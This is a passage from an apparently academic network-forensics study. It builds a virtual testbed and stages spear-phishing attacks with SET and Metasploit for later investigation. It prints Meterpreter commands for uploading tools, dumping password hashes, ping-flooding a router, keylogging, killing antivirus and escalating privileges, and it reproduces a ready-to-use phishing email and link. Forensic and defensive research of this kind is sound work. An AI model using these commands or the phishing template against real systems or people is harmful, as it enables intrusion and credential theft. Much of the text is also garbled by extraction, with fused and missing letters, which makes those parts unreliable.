investigation in serious risk. On the other handnight be impossible to shut
down a system, because it is business criticalberause this would cause
conflicts to the operation of the network (e.g.utey device forensics). If the
system is to be kept online, some precautions rhestaken [7]. For instance,
terminate all questionable processes and sessioaBify the suspicious

outbound traffic, store up-to-date log files andfpem live imaging.

2.6.2 Offline Analysis
Traditionally, it is suggested to pull the plug anpotentially compromised

system —especially to minimise the damage whenr aysems are involved. So,
in the case of a crime scene or a serious incidemt large organisation, it is
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generally recommended to switch off the machine dallow all legal
procedures for deep offline analysis. Wheneverdations of subsequent legal
actions exist, the investigator must be preparethke formal measures such as
disk imaging, chain of custody et cetera.

Before the examination of the non-volatile datduladescription of the system
and a complete list critical software -clearly stgttheir version- are necessary.
This will help to determine which vulnerabilitieseve potentially exploited.
Logs constitute crucial information for the offlimmalysis, hence server logs as
well as host event logs and IDS reports must beotighly inspected. Finally, it
would be useful to track any recent system charsgiet as user accounts and
suspicious files that could have been created battacker.

2.6.3 Noteson Methodology

Useful and reliable sources of information are dtemaof great importance for a
network forensic investigator. To this end, someugidwork needs to be done
before any incident occurs. To begin with, captarechanisms should be in
place, listening to traffic in promiscuous mode.should be ensured that all
network traffic is continuously saved in the progermat (e.g., tcpdump). In
busy networks, where traffic can be intense, tloarght to be provision for the
amount of memory that is likely to be needed foragje purposes.

To avoid having a single point of failure, redund@nn a supervision system
plays a significant role for the fault tolerance thie logging processes. If
possible, logging must be done not only in the mpeter of the network, but in
the end systems too. An overlap in the scope divsoé such as sniffers (e.g.,
Wireshark) and intrusion detection systems (e.gar is totally permissible. In
that way, during the investigation, facts from npl# sources combined can
shed light on the case.

As mentioned before, the analysis of an incidenbest executed when the
defence line of the network is set and well mamgdi The actions that follow
the discovery of the incident include log inspegtitraffic pattern recognition

and combination of facts to generate evidence wbahlead to the resolution of
the case. A special issue that should arouse tieeest of the analyst is traffic
other than TCP or UDP. Moreover, some other wogygmptoms are: finding

vulnerability assessment tests, such as port sagnfriom external unauthorised
sources, encrypted traffic and intangible netwockvaty through non-standard
system ports.
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3. EXPERIMENTATION

In this case study, it was attempted to createnatfonal test environment. In

particular, a simplified model that simulates, tone extent, the operation of the
Internet. The events occurring in this environmeah be viewed from four

different perspectives: an ISP, a well-intentioetérnet host, a malicious host
and a local area corporate network.

3.1 Materials

The physical system used runs a Windows 7 Home iBrenb4bit operating
system, which hosts the virtual environment. A éaagnount of RAM is necessary
to ensure the establishment of the current viramehitecture. Namely, 4 gigabytes
of random-access memory can guarantee smooth mperat all the virtual
machines when running simultaneously. For the é&stabent of the network
testbed, the VMware Workstation 7 software is u3dus experimentation is based
on minimum resources, that is, only one physicaC Nind no physical router.
Therefore, the whole testing environment is asslgnsingle public IP address.

The first issue that needs to be resolved is hawittual side will be connected to
the physical host. VMware provides three possilppreaches: bridged, network
address translation (NAT), and host-only. The foise makes the virtual machine
appear as a completely independent host, whichemsrwith the local physical

LAN having its own IP and MAC addresses. Howevaer,the current testing

scheme there is only one public IP address availaold no physical router.
Therefore, sharing this single IP by using NAT sedmbe the ideal solution. All

the internal VM boxes will be connected to the wait subnets with a host-only
connection type.

The virtual environment is using the following bkscof special-use addresses
which hereinafter will be referred to as public:21®2.0/24 (TEST-NET-1),
198.51.100.0/24 (TEST-NET-2), and 203.0.113.0/28ST-NET-3). The detailed
addressing scheme used, can be found in the appaddilt is important to note
that it was opted not to use private addresseslantie corporate LAN. The
opposite would require a IP masquerading at th@arate router, which would
increase the complexity without significant diffece. This is because the attacker
does not attack the hosts directly, but throughntiad service and also due to the
fact that the firewall is configured to treat thggmlic address blocks as internal.

3.1.1 Topology
The topology of the virtual environment consistdlod following elements. First

of all, a virtual ISP router callekbP, which assigns network addresses to clients.
The clients are: a normal user calMthite host, a malicious user call&lack
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host, and a small corporate network cal@arp. The network space is divided
into relevant domains. In particular, our ISP istpd a Tier 3 networkigp.tier3
which purchases IP transit from hierarchical highmmtworks to reach the
Internet. At this domain resides also thralan adapter of the physical machine
and a mail server serving the whole ISP networkaly, the corporate machines
involve a router/firewall, a network switch, a Ibaaail server, one admini-
stration station, and two corporate hosts whichshlare a common domain
(corp.lan).

The logging process is the most critical part oérgvintrusion research. The
main points that need our attention are firewatiorels, network and system
activity. The key issue in every step of loggingl alata control is redundancy. In
other words, multiple processes that examine dataexjuired, in order to avoid
failure that would destroy the whole case. It isoalimportant to inspect
information from different angles in order to evalle the events and perform a
comprehensive analysis. For instance, all netwa#it should be secured in a
central point where alerts can be generated. Homwekis should work along
with a complementary firewall which filters the nerk traffic, applies certain
rules and records events at the border of the rm&two

Apart from the virtual machines configuration whishdescribed below, there is
another issue that needs to be resolved on theigalhyside. To illustrate the
problem with an example, assume that an internat feng.,10.0.9.9 pings an
internet target (e.gwww.google.com Theecho-requesteaches the Win7 NAT
through the ISP and subsequently the source adtsdsanslated to our single
public IP (e.g.,193.1.1.2. When the target gets the request, it repliesht
translated IP. The packet arrives back to Win7 tresh NAT replaces the initial
address. However, the path to reach1fe.9.0/24network in not known. Since
the Win7 NAT is only aware of its physical adaptargl its link to the virtual
subnet (vmnet8), in that point there is no knowkedgbout any route to
10.0.9.0/24 Therefore, everything not destined for th@0.0.0/24network will
be sent out through the Win7 default route towdhasinternet. In that way, the
ping reply will never reach the communication iaitr. In order to avoid having
to configure a "double NAT", the solution lies inldang static routes in the
physical machine showing the route to the 10.028.0OAetwork through the
vmnet8 adapteroute ADD 10.0.9.0 MASK 255.255.255.0 10.0.0.3.

3.1.2 Rolesand Configuration
This section describes in a nutshell the charasttesi and configuration of every

virtual machine involved in this demonstration netk In addition, a diagram
illustrating all the interconnected systems, isvted for reference (Figure 2).

-19 -



corp.lan

— YT

l_’( “Real 203.0.113.26 203.0.113.25
Inteme Host Vict
Public IP = o

Windows XP Windows XP

203.0.113.34

®

Physical PC
203.0.1131

203.0.113.18 /29

203.0.1134

- DH GDTNS 203.0.113.10

9) Admin

Nst 203.0.113.43

[ ~
] Sniffer, IDS
White 203.0.113.42
/_\\
LK
white.lan Innocent
192.0.2.2

Fig. 2. The virtual network infrastructure that was impkmted. The domains
are illustrated in green and the different VMnetbiue.

3.1.2.1ISP—- An Internet Provider Router

The heart of the virtual network is a machine ruignihe Linux-basederoshell
1.0 betal3 which is casted in the role of the ISP routerrmNally, this OS is
booting from a CD. However, this would result ic@tinuous use of the single
physical CD-ROM by the ISP box, which would blockeey other virtual
machine from accessing it. Thus, a small modifaratis applied in order to run
Zeroshellfrom a virtual hard disk [30]. The best featureZafroshellis the fact
that it can be accessed from a very comprehenseke interface. DHCP can be
set for all interior interfaces in order to faalieé the initial installation of the
remaining VM boxes. The embedded firewall can bedu® restrict traffic from
one customer zone to the other, however at thenbagg packet forwarding rule
is set in a globahcceptstate. Moreover, static routes must be arrangedhi®
ISP to recognise the networks that are more than @pedway. So, appropriate
static routes dictate the router to send packesdircerl for the networks C1:
203.0.113.16/29C2:203.0.113.24/29C3: 203.0.113.32/2%nd C4:203.0.113.40
/29 via the appropriate interfacetf3.

When doing criminal investigations, the abilitydetermine the precise time of
events is a critical factor. Moreover, in investigas, it is common to blend
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clues from different sources. In order to put egenta sequence and come to
valid conclusions, there has to be a common pdinéf@rence. This is achieved
with time synchronisation through protocols suchttes network time protocol
(NTP). In the current infrastructure, the virtu8R is configured to feature an
NTP server which synchronises all its clients. Fbsts and the network devices,
including the corporate LAN, use NTP clients to gmtcurate time. This
procedure was opted to be manual, so as to keepeiiveork traffic clean from
periodical UDP packets. At first th&pdate ISP.isp.tier@ommand is executed
to get an exact update of time, and then the hamlwick is set to make the
change consistenhyclock --systohc Finally, the coordinated universal time
(UTC) is used by all hosts and servers, in ordeavoid the confusion often
caused by different time-zones.

3.1.2.2 White— A Stepping Stone

White is a well-intentioned host behaving as a typicdeinet user. It runs the
Ubuntu Server 6.100perating system, equipped with a basic graphicssr
interface, a web browser, and an email client. llglgweightlceWMis installed
as a window manager for the X Window System. Is ttase study, this machine
is hacked and forced to act as a stepping stonarfaaggressor residing in the
black.lannetwork.

The stepping stongechnique is a widespread method used by thedatsuto
hide their identity [31]. This involves an innocemtachine acting as an
intermediate relay between the attacker and thgetarOften, after being
compromised, several hosts are used to form conwation chains. The most
widespread protocol used between a stepping staimespSSH. Even though the
research community has proposed numerous detectethods and algorithms,
the discovery of these masked attacks remains #eoha for the forensic
investigator.

3.1.2.3 Black— An Adversary

A virtual machine running @acktrack 40S is representing the box of a
malicious user. Backtrack is a Linux distributiompesially designed for
penetration testing. It features a large collectbsecurity tools and integrates a
software suite for vulnerability research and depeient callednetasploit This

is a framework specialised in deploying code forstegn exploitation.
Exploitation is the act of taking advantage of @ I order to take over system
control. The malicious payload, which is what vellentually be executed on the
victim side, steps in after a vulnerability has i@&xercised by the exploit. The
task of disguising the payloads in a way that taeynot visible to detection and
prevention systems is performed by encoders. In ¢hse, the payloads are not
destructive, but they aim at establishing a commation channel and a remote

-21 -



shell interaction with the adversary. One of thestmgopular payloads for this
purpose igneterpreterwhich is a command interpreter executed entirelyhie
target system’s memory. A common way to interachwhe framework through
a console is through theasfconsolg32]. All of what is mentioned above is
included inmetasploit the exploits, the payloads and the encoders.

Finally, it is necessary to setup and properly ok the sendmail SMTP
client, as it is later needed for the attack imitia. Usually this is a very easy
task, however the constructed environment doesis®ta DNS resolving service
for the virtual hosts. This fact complicates thiation, as theendmailmust be
configured to use the static files and forwardtladl outbound messages to a mail
relay. The steps taken towards this direction agationed in the appendix A.

3.1.2.4 Corp — A Corporate Router/Firewall

This is a virtual machine that implements the coap® network router/firewall.
Since it is not possible to simulate a pure rolex such as a Cisco device, a
Linux-based system is used instead. The lightwedglt stableéDebian Sargas
selected to support the packet forwarding and theket control tasks for the
corporate network. As a routé&prp is directly connected with the local ISP and
is provided with static entries in its routing tallb manage the local network
traffic. It is should be noted that in order tovi@rd packets successfully, the
ip_forward option must be activated, which is accessible fraime
/etc/network/option®r the/etc/sysctl.confiles. Finally, a demilitarised zone is
attached to the router which hosts a mail serveteasribed later in this chapter.

The Corp router is the gateway of the corporate network @m it is the most
suitable place to perform data control. In ordedéploy a reliable firewall, the
traditionaliptablesprogramme will be used in combination with a usgmdly
frontend. After a thorough research on the avadaalutions, thdiaif frontend
was selected as the most appropriate. It was pesfdyecause of its simplicity
and the fact that it provides a set of scripts Wwhsetup the powerfuptables
through several straightforward configuration fil@$ie frontend scripts consult
the global configuration file/etc/fiaif/fiaif.conf This is the place where the
different zones, the types of service, and theresfees to other configuration
files are defined. For each zone specified byzbeevariable, a respective file
containing the zone settings must be present. {jpe of service (TOS) file can
provide special treatment to certain protocols wehpect to delay, throughput,
reliability, and cost.

Along with the fiaif frontend, a special daemon capable of storingwfate
events, calledulogd, is used for data control logging. No matter igdging is
done for bookkeeping purposes or to preserve ecil@f security issues, it is
possible to record in a per-packet or per-flow a3raditionally, logging in a
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system is done bgyslog howeverulogdis a better substitute since it specialises
in firewalls based onptables Therefore, detailed inspection can be done by
reporting events to thelog daemon. All the dropped packets and information on
rule violations are contained in the recorded ewveldcated at/var/log/
ulogd/syslogemu.logn addition, the firewall package is equippedhaat utility
called fiaif-scan which can convert this logged data into readabbd. tEor
example, this can be done by executing the comntandvar/log/messages |
fiaif-scan Moreover, all relevant traffic entering or leagia specific zone can
be logged when defining a watched IP address. Simeattack is aiming at the
corporate hosts, their IPs are marked as watcdTCH_IP="203.0.113.25
203.0.113.26"Everything originating from or destined to thegklresses will be
recorded and available to the investigator.

The general policy applied in the zone configunatides is default deny In
other words, if a packet does not match any rules dropped by default. There
are three zones availabltNT, EXT, DMZ and three respective configuration
files. Every zone file includes the settings of tkeepective zone and definitions
of access rules. The access from zone-relevant imegho theCorp firewall is
instructed by thdnput rules. In the same way, tl@utputrules control the data
access from theCorp firewall to the zone-relevant machines. Finallijiet
Forward rules are probably the most important ones, siheg define what kind
of access is possible for the machines of otheegowhen trying to contact the
current zone. The basic idea in the current scenarihat access from outside is
only possible to the demilitarised zon208.0.113.32/2P Even if an external
user wants to do an SSH connection to the corpaxaieer Corp.corp.lan,
he/she will be redirected to th@mz In addition, pinging is not allowed to the
inside network and it is even limited to tlbanz and Corp boxes, in order to
avoid a potentialCMP flooding. Mailing is forwarded as normal, sinceeth
SMTP protocol is allowed among the inside hosts, ttwlanail server and the
outsiders and thBOP protocol between the corporate hosts andtinz

3.1.2.5 Nst— An Administrative Station

Nst is an administrative machine, having the respalisés to analyse the
network traffic, keep logs, and provide IDS sergic&€he requirements here are
undoubtedly high, therefore a great range of spectiware is needed. The OS
selected in this case is the Network Security Teto{eereinafteNST), which is

a live CD toolkit based on the Fedora Linux digitibn. One of its strongest
assets is the fact that all services and toolsbmaccessed via a user-friendly
web interface, which is not only used for reportlmg for system configuration
and service initiation too. This interface can becwely reached by the
administrator or any other authorised individualonir an HTTPS site
(https://203.0.113.43/
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In the present arrangement, it is assumed Nsiis the workstation where the
administrator resides. This host is as invisibleh® network as possible. There
are two interfaces, the first of which is passivatiached to the mirroring port of
the central corporate switch, whilst the secondstisctly accessed by the
administrator for remote configuration. Three atge tmost critical tasks
performed by this machine: packet capturing, intmsdetection, and event
reporting. To begin with, the packet capturing &red out by a single-tap
Wireshark service listening to all the traffic inomiscuous mode. Meanwhile, a
Snort IDS service is up and running, sensing thisvok data for anomalies
from a single collection point. All the collectedemts are stored in an SQL
database, which makes archiving, research and tregomuch more easy. In
addition, intrusion event reporting and alerting &acilitated by the use of the
BASESnNort front end and thenortslingerrespectively.

3.1.2.6 Bridge— A Network Switch

This is a virtual machine that simulates a netwevwkitch with an available
spanning port. The requirements of this box regaydperformance are
minimum, hence the lightweight Debian Sarge OSni&alled. The ports of a
network bridge have no Internet Protocol or Mediecéss Control address
assigned to them (Figure 3). Since packets arggédicand not routed, the Time
To Live field of the packets remains intact, makthgs the bridge completely
transparent to the external prober.

Broadcast Domain

Collision Domain

Collision Domain

Fig. 3. Atypical bridge is transparent and separatesi¢rbf segment.

The objective here is to configure a mirroring p@iso known as spanning port)
towards a network sniffer. This will allow us to mtor all network traffic by
duplicating all the data exchanged between theshasd the outside world.
Although this is an easy task when working with garction switches such as
Cisco devices, it was surprisingly difficult to aehe this in the virtual
environment. Making a Linux box to copy networkfti@from one interface to
another is not straightforward. The fist solutiooufd was to use a special

-24 -



feature (i.e.;teeoption) based on iptables. However, in order te tlss option,

it is required to apply a patchpdtch-o-mati¢ before compiling the kernel.
Therefore, several workarounds were found to a@hiavmore uncomplicated
approach.

Solution A: Building the sniffer on the bridge itkdJsing a bridge between the
hosts’ switch and the router would forward everghks transparently, with no
network design modification needed. In that wayJ@8 such as Snort could be
built in-line to monitor the traffic passing by. &luse of bridges is also valuable
when performing live investigations, where the hbsing examined is not
supposed to be taken offline. Thevisible feature of the bridge would make it
ideal if placed exactly before a server. Such atsmh can be very helpful in
situations where it is impossible to sniff packétsough a physical tap or a
switch spanning port. Configuring a Linux bridgetlwitwo network cards is
done by using therctl command, for which theridge-utilspackage is essential.

Solution B: Converting the bridge into a hub. Déspall the advantages of
building monitoring tools on top of a network brelgn the case of a completely
physical network, we would rather use a simple gwitr hub for this purpose.
The bridge software, maintains a forwarding takleere MAC—Interface pairs
are stored. Initially, this table is empty. Whepacket is received, if there is no
mapping for a MAC address, the bridge broadcagtsesoof the packet out of all
its interfaces. Additionally, an entry with the MAdgdidress of the sender is added
in the forwarding table for later use. If this |learg feature of the bridge was
disabled, broadcasting would be forced every tingaeket was received. This
can be achieved, either by modifying tlhectl source code, or by taking
advantage of its options.

The ageing time parameter is the time -counted in seconds- in lwite
forwarding table is allowed to keep an entry indeésche. The forwarding delay
parameter controls the amount of time the bridgk hgiten to network traffic
before proceeding to packet forwarding. This igmsure that the bridge remains
in learning state for a number of seconds, toujlits forwarding table before
getting active. Setting the bridge forwarding delayd ageing time to zero
makes the bridge to behave as a hub and this iswdmafinally implemented.

3.1.2.7 HostandVict— Two Typical Victims
Finally, two Windows XP Professional SP2 machinese &aselected as
representatives of the corporate hosts. WindowssX®irrently the most common

operating system for end-users and thus it is dealitarget, attracting a lot of
attention due to its popularity.
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3.1.3 The Mailing Process

So far, reference has been made to virtual enviesimssues, the network
topology, the addressing scheme and some key poafitsthe system

configuration. Since the incident under investigatis of a phishing nature, an
effective mailing mechanism is required amongshatiwork participants. In the
subsequent part, there is a brief analysis of #s&cbmailing entities involved
and a presentation of the email infrastructure thas implemented. A typical
mailing process involving MUAs, MTAs and MDAs idustrated in the figure

below (Figure 4).
MTA @%‘ MTA
— - o

SMTP Server
LAN / Inte! POP Server
; \
MUA MUA
% JAN
Emall client Emall cllent

Fig. 4. A typical mailing scheme.

The mail user agent (MUA) is a software client aggdion, used for sending and
receiving email messages. The MUA is an entityalat in the end-user system,
which needs to cooperate with a nearby mail sehahle to acquire or forward
messages to their destination. Some examples aflpopMUASs are: Mozilla-
Thunderbird, Microsoft-Outlook, Mutt and EIm.

The mail transfer agent (MTA) handles the dispatot reception of emails. It is
the entity responsible of getting the mail from tbkent's MUA -during a
process calledsubmission and hand it over using the SMTP protocol.
Sometimes, it goes a long way towards deliveringearail, thus several MTA's
have to talk to each other. To identify the nexp hitve protocol consults the mail
exchanger (MX) records of the domain name systedetermine the associated
mail server of the specific domain, keeping the lehtvansportation process
transparent to the end user.

SMTP is a protocol used to send off messages frtents to servers and
between intermediate MTAs. When the target netwereached, a mail delivery
agent (MDA) undertakes the task of delivering thessage to the user agent.
The most common remote access protocols for maiexal from mail servers
are the IMAP and the POP3. This is also cafledl delivery processwhere the
mail is stored in a dedicated space from whichuker pulls the data just like
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picking up letters from a mailbox. Some popular IRWROP3 servers are:
Dovecot, UW, Cyrus and Courier.

3.1.3.1 Virtual Mail Infrastructure

To begin with,port25is a virtual appliance based on rPath Linux andssd
here as a virtual mail server machine. It has p@se-built operating system that
contains a great variety of mail-oriented applicas to choose fronPostfixis
selected as an MTA, which is capable of transpgrémail just as the traditional
sendmail UNIX application. However, compared teendmail it has more
comprehensive configuration and is considered tonbme secure. In this
context, the postfix service is used exclusively aas SMTP server. As for
sending out emailsdovecot assumes the role of the IMAP/POP3 server.
Optionally, procmail can be enabled when special processing and figeis
required for the incoming or outgoing messages lo@ $erver. Everything
mentioned above is implemented in a box which éteinafter be referred to as
the mail server On the client side, every host is equipped wittmazilla-
thunderbirdMUA.

In order to have a viable communication, when rnisaéxchanged between hosts
and servers, it is necessary to have a DNS sergagy to answer to MX record
queries. For the sake of simplicity, and since Dbl®&ot crucial for the present
study, a static approach is followed. Putting A hostnames in thietc/hosts
files is also known as the poor man's DNS and &y effective tactic when
used in small scale. Just as every other SMTP s®npostfix uses DNS by
default in order to locate the mail recipient. Asvarkaround to this behaviour,
after completing théetc/hostsfile, host lookup can be adjusted to consult the
static entries before performing any DNS query.sTis achieved by setting
smtp_host_lookup=native,dirs the main configuration fil¢etc/postfix/main.gf

As this demonstration network simulates both an #¥ a small corporate
network, two mail servers are deployed: one, calN&l, for the ISP network
and one, calle®mz,local to the corporate LAN. The following diagratlines
the services that were implemented (Figure 5). @nmail server side several
user mail accounts were created, namely for ez virtual machine:
corp@corp.lan, host@corp.lan, vict@corp.lan an@usirp.lan and for thMail
virtual machine: root@isp.tier3, white@white.landablack@black.lan. These
user accounts were created with tlsbin/nologin option. This enhances the
security, as it excludes the user from accessiggcthntent of the server, for
example via an SSH connection.
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Dmz.corp.lan Vict

(8 J /} /\
_ Emall client
SMTP Server (Postfix) (Thunderbird)
POP Server (Dovecot)

Qu-p_|a1

Fig. 5. Part of the e-mail services that were implememedMware.

Mail.isp.tier3
Ik JI

SMTP Server (Postfix)
POP Server (Dovecot)

When submitting emails, authentication is not alsvagquested by SMTP
servers. Those that allow access to unauthentiasders are calledpen relays
The relays clear the way for malicious users tao$ploe sender address and send
tons of spam messages with untraceable origin. @uextensive spamming
through mail relaying, it is now essential to radtthe use of mail servers to a
list of clients that are trusted and hence havédrigrivileges. Usually, among
these trusted clients are the hosts within the subhthe server or the domain of
the ISP. Nowadays, open relays get blacklisted thet messages are usually
dropped by MTAs since their content is most likalydesirable or even danger-
ous.

3.1.3.2 Local Network Mail Server

Dmz is the mail server responsible for the corpdamain. When a host of the
corporate network wants to contact an internal ,uiee service is handled
exclusively by Dmz. All corporate subnets as wellthe isp.tier3 domain are
considered as trusted clients. In order to condattrnal targets, the mail has to
be transferred from the local mail server (Dmz.darp to the ISP main mail
server called Mail.isp.tier3. For this reason, tbeal mail server uses what is
called a relay host. The name of the upper-levieyrés specified as follows:
relayhost = [Mail.isp.tier3]. In Addition, it is important to avoid doing MX
lookups for finding the next hop towards the respble MTA. To this end, it is
restricted to consult only the static entrismitp_host_lookup = nativésinally,
the corp.lan mail user agents are configured torestdto the Dmz.corp.lan
server for both the outgoing and incoming mailngsthe SMTP (port 25) and
POP3 (port 110) protocols respectively, without rgption or secure authen-
tication enabled.
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3.1.3.3 ISP Mail Server

This major server is responsible for th&p.tier3 white.lan and black.lan
domains. When an external host suchwdste @white.lansends an email to a
corporate host, the mail is transferred from tMail.isp.tier3 MTA to the
Dmz.corp.lanMTA. This is achieved by taking advantage of tle#c/postfix/
transport feature. Inside this configuration file, it is ®@&@d (orp.lan
smtp:[Dmz.corp.lanj that only the local MTA is entitled to dispatcmails to
the corp.lan domain or sub-domains. It is important that thensport file is
linked (ransport_maps=hash:/etc/postfix/transppitb the main configuration
file (/etc/postfix/main.gf To complete this procedure tip@stmap /etc/postfic/
transportcommand must be executed. Finally it has to bedtiat the ISP mail
server is also capable of contacting hosts locatedthe "real" Internet
(inet_interfaces=all via a public DNS service and through the physiea
connection. Therefore, after consulting the /etsfdfiles and contacting all
internal MTA relays, if the recipient is not foundthin the test environment,
DNS queries are permittednitp_host_lookup = native, dnsSimilarly to the
Dmz case, the mail user agents using the ISP neaies are configured to
address to thévail.isp.tier3 server for both the outgoing and incoming mail,
using the SMTP (port 25) and POP3 (port 110) proicespectively.

3.2 PreparingtheAttack

The scenario that will be initiated is based oneamil abuse incident and also
involves a system breach. So far, the roles andedions between the different
machines and the way that the virtual environmeas equipped with functional

mail services have been described. After that,atit@ck will be presented step-
by-step and then an investigation will be initiated

3.2.1 Phishing

There are numerous variations of email abuse sagbhashing and spamming.
The distinctive characteristic of phishing liesthe use of social engineering
techniques to extract sensitive information. Deigptis achieved either by
linking to deceitful websites which are directlyneected to financial fraud and
cybercrime or by tempting the victim to open fildgaghments that can lead to
major security breaches. No matter which methagsed, the ultimate goal is to
persuade the victim to give away passwords, credid data or personal
information.

Since phishing emails have to be convincing, thestnedfective ones are usually
targeted, at least to some extent. This speciataelgory of phishing, which
distinguishes it from massive automated attacksknewn asspear-phishing

[33]. When planning an attack of this kind, the sdéauneeds to do a small
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preparation, improving the chances that the victvill be tricked. Some
examples would be to discover the names of empkgééhe IT department, the
naming scheme of the system users, any specialagesyntax used or security
trends that would cause a warning message to be teeavery user in an
organisation. There are several signs that shoeafthitely raise suspicion of
fraud. Particularly, it has been noticed that malis links usually redirect to
newly registered and short-lived domains. In additisome other detection
techniques, presented thoroughly in [34], are mishes between the link text
and the destination, the absence of domain namienvebsite URL, and the
presence of questionable scripts.

The social engineering toolki{hereinafterSET), is a workspace where social
engineering attacks are designed and launched.dhother project attached to
the metasploitframework, which is very efficient in initiatingttacks based on

email abuse for research and penetration testingoges. In this context, SET is
used to create and set off targeted phishing emdiish use client-side exploits
to trigger vulnerabilities of corporate hosts.

3.2.2 Information Gathering and Multi-L ayering

Before a targeted attack is initiated, there isaglsvsome degree of information
gathering. The aggressor discovers all availabktesys and tries to roughly
determine the topology of the network. This effertsupplemented by OS and
services fingerprinting to take advantage of alyekdown bugs. Based on the
collected information, the intruders can select aip@ropriate exploit to breach
in the target system. Preparing a penetration Qsuatludes network enume-
ration to determine which ports are listening, tp and make a sketch of the
network structure, and to discover hosts and ruprsarvices. This is often
followed by password cracking attempts and othezdadiattacks, however this is
outside the scope of this study.

Attacks towards a network can be either directnalirect. In the first case, the
target is the perimeter devices such as routersileWdecurity specialists
strengthen the edge of the networks, the advessaigewith indirect techniques,
to take advantage of defects found in the innet parthe network. All data
control and data capture is usually done at thewgay, which in such cases is
bypassed. In order to form a complete picture ofatwbxactly is happening,
comparing logs from different sources and the useeatralisedsyslogserver
monitoring is required.

As mentioned above, an indirect attack could broattee horizons of the
attacker. For instance, starting a connection feanexternal network towards an
internal host port would automatically mean rai$eswspicion, drop of packets
and event logging. Therefore, even if the attackeew the existence of a
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vulnerability in a service running at the port 446 a corporate host placed
behind a firewall, he/she could not exploit it ditlg. Multi-layering is the act of

using already successful sessions to attack tor ¢tbsts on the same network,
overcoming firewall rules and detection mechanismhkis technique, also

known as pivoting [32], is tested in practice ie thext section.

3.3 Incident Scenario

In this case study, we are working with client-siebeploits. Given a specific
behaviour from the victim, such as opening a filelacking on a malicious link,

exploits of this type can take advantage of cligide bugs and allow illegitimate
access to the interior of the network.

In both incidents, SET is used as the softwareestntdevelop and distribute
phishing emails. In each case, the appropriatecioal payload is wrapped up
in a neat and seemingly harmless message. Whervithien is tricked, the
exploit is activated and the target machine is nakeger by the attacker. The
interaction with the compromised host is managedh®yhelp of a connection
handler of thenetasploitframework.

The imaginary story behind these attacks goes l&sv®. Bob served as a loyal
employee in th€orp corporation for many years. Recently, his employhveas
terminated without further explanation. Losing jub was so devastating that he
was filled with a thirst for vengeance. Being ahteical advisor, gives him an
advantage, as he is relatively familiar with théwaek infrastructure. Since he is
aware that the network gateway is impenetrablewitletry to get inside by a
rather indirect and less aggressive method.

3.3.1 Synopsis. Attack A

As a first attempt, a basic exploitation is perfedn The attack is based on a
client-side exploit taking advantage of the pogsibio hide a malicious payload

inside a PDF document. The sender’s email addrespoofed, however the

connection initiated by the malicious payload, p®irstraight back to the

attacker’s address. In that sense, the attackes du# take any special

precautions to hide his traces.

First and foremost, with the help of SET a malicgqayload is embedded inside
a PDF document and a targeted phishing email isgpegl. A session listener is
implemented on the attacker sidE98.51.100.5 listening to port 2233. When
the victim opens the document a reverse TCP sessiaitiated pointing back to
the attacker host.
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After gaining access to the victim, console appiaas such as a PING (fping)
and an SSH client (plink) are manually uploaded.rédwer, the dump of the
security accounts manager database (SAM) is hage$his information can be
valuable when combined with a rainbow attack tockréhe hash values and
reveal user passwords.

msf exploit(handler)>sessions -i 1
#File Transfer

meterpreter>cd C:\\
meterpreter>mkdir tmp
meterpreter>cd tmp
meterpreter>upload /root/plink.exe
C:\\tmp

meterpreter>upload /root/fping.exe
C:\\tmp

#Information Gathering
meterpreter>getuid
meterpreter>idletime
meterpreter>hashdump

Fig. 6. File uploading and information gathering commands.

According to the firewall configuratiorecho-requestgrom external networks
are permitted only to the gateway, but still liniibms apply to protect the router
from denial of service attacks and resource exl@ustin addition, SSH
connections are always redirected to the demisigarizone to prevent any means
of external access to the gateway that could enaddsword cracking. Finally,
an SSH connection is attempted to the gatewayaashehial of service attack are
initiated from the corporate host against the unded internal interface of the
corporate router.

#Secure Shell Client
meterpreter>shell

C:\tmp>plink Corp

#Ping Flood

meterpreter>shell

C:\tmp>fping Corp -s 65500 -t 1 -c
CtrlncC

Fig. 7. Starting an SSH client and ping-flooding the route
3.3.2 Synopsis: Attack B

In this incident, the attacker is more cautious ath@ attack is more
sophisticated. The client-side exploit is basedaodava applet injected in a
duplicated but completely bogus website. The bassumption here is that
Black has already compromised an innocent Internet (Wkite), which is used
it to take the blame for the attack. All traffic iennelled fromWhite to the
attacker’s machine through a secure SSH connecttore specifically, the
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attacker initiates a remote SSH port forwardingrmartion to redirect traffic to
his machine. This process is described in deteel la this chapter.

Since the interaction needed in this attack iskolig on a hyperlink and not
executing an attached document, the success dttémpt is highly dependent
on how trustful the given URL seems. So, there khbe some sort of masking
in order to make the link more convincing. To theed, the attacker takes
advantage of a free dynamic DNS service to assiggmgorary hostname to the
address of the malicious web server. Namely, théres$ (92.0.2.2 of the
compromised hostWhite is assigned anonymously tudtp://CorpLan.dyndns-
server.com/.If the attacker had inserted the URL of the webserin its
numerical form, then the email client would havéimitely warned the recipient
for a possible email scam.

L e e ’ f=d reply] = [ e Forward] [Eﬂ_ archive‘ [ @ junk] | X delete‘
subject [Corp-IT] Urgent! Change Password 0240
b You other actions -

Dear Vict,

Unfortunately, our user account databases have been attacked by a group of
hackers. Please LOGIN to your account and changes your password as soon as
possible.

We apologise for any inconvenience caused,
T-Support Corp

Subject: “[Corp-IT] Urgent! Change Your Password!”

Body: “Dear Vict,</br> Unfortunately, our user account databases have
been attacked by a group of hackers. Please <a href=‘http://CorpLan.
dyndns-server.com/’>LOGIN</a> to your account and change your password as
soon as possible.</br></br>We apologise for any inconvenience caused,
</br>IT-Support Corp”

Fig. 8. Spear-Phishing e-mail as received and in HTML fatrm

After establishing the port forwarding betwe®vhite and Black, the attacker

executes SET to inject the malicious payload jik& before. This time though,
the victim is configured to communicate back to ¥Wh{192.0.2.2) listening to
port 2233. Moreover, instead of attaching the mailis content to the phishing
mail, an authentic website (e.g. https://pingpoateghalmers.se) is cloned,
carrying a malicious Java applet. This fake websitehosted by the local
webserver listening to port 80, a port which idisrwarded fronWhite.

When the victim clicks on the phishing link, an &pation digital signature
warning is displayed by the browser. If the victilmes not get suspicious at this
point, running the applet will result in a sessiontiation with Black via
192.0.2.2 After gaining access, the attacker immediatelgbdes key-logging to
capture the victim’'s credentials and any other nmation typed. This is
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especially effective due to the fact that aftermuag the applet, the victim is
redirected from the cloned website back to theinalgone which waits for the
user login. Finally, all antivirus processes arkeki and privileges are escalated
to the maximum possible.

msf exploit(handler)>sessions -i 1
meterpreter>keyscan_start
meterpreter>keyscan_dump
meterpreter>keyscan_stop
meterpreter>run killav
meterpreter>getsystem

Fig. 9. Key-logging, killing antivirus tasks and privilegscalation commands.

Entering in a corporate host, opens up the grepbrpnity to use it as first step
